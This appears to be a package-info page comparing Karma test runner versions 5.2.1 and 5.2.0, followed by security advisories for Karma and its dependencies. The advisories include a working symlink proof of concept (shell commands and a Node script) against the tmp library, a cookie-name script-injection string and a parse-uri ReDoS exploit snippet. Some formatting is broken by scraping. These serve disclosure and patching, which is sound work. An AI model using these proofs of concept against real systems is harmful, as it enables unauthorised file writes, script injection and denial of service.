Karma version 5.2.1 represents a minor update over its predecessor, 5.2.0, within the popular Karma test runner ecosystem. Both versions share the same core description as a "Spectacular Test Runner for JavaScript" and maintain identical dependency structures, encompassing essential packages like di, tmp, glob, mime, and lodash for core functionality. Key development dependencies such as chai, grunt, mocha, and eslint are also consistent across both releases, suggesting a similar development and testing environment.
However, a subtle distinction exists in the devDependencies. Version 5.2.0 includes "flatted":"^2.0.2" which is missing in version 5.2.1. Developers upgrading from 5.2.0 to 5.2.1 should be aware of this. The dist object also reveals differences: version 5.2.0 contains 91 files with an unpacked size of 501516, compared to version 5.2.1's 90 files and slightly larger unpacked size of 501872. These variations might indicate minor bug fixes, performance improvements, or adjustments in the packaging process. The release dates also highlight the recency of version 5.2.1, offering developers the latest refinements.
For developers using Karma, these updates generally translate to a more stable and refined testing experience. While the core functionality remains consistent, minor version bumps often address underlying issues and optimize performance. Regularly updating to the latest minor version like 5.2.1 ensures access to the most current improvements and bug fixes, fostering a robust testing workflow for JavaScript projects.
All the vulnerabilities related to the version 5.2.1 of the package
Cross-site Scripting in karma
karma prior to version 6.3.14 contains a cross-site scripting vulnerability.
Open redirect in karma
Karma before 6.3.16 is vulnerable to Open Redirect due to missing validation of the return_url query parameter.
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)
would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"
, setting userName
cookie to <script>
and ignoring value
.
A similar escape can be used for path
and domain
, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name
, path
, and domain
.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
Regular Expression Denial of Service in ua-parser-js
The package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.
ua-parser-js Regular Expression Denial of Service vulnerability
The package ua-parser-js before 0.7.23 are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info).
Regular Expression Denial of Service (ReDoS) in ua-parser-js
ua-parser-js >= 0.7.14, fixed in 0.7.24, uses a regular expression which is vulnerable to denial of service. If an attacker sends a malicious User-Agent header, ua-parser-js will get stuck processing it for an extended period of time.
ReDoS Vulnerability in ua-parser-js version
A regular expression denial of service (ReDoS) vulnerability has been discovered in ua-parser-js
.
This vulnerability bypass the library's MAX_LENGTH
input limit prevention. By crafting a very-very-long user-agent string with specific pattern, an attacker can turn the script to get stuck processing for a very long time which results in a denial of service (DoS) condition.
All versions of the library prior to version 0.7.33
/ 1.0.33
.
A patch has been released to remove the vulnerable regular expression, update to version 0.7.33
/ 1.0.33
or later.
Regular expression Denial of Service - ReDoS
Thanks to @Snyk who first reported the issue.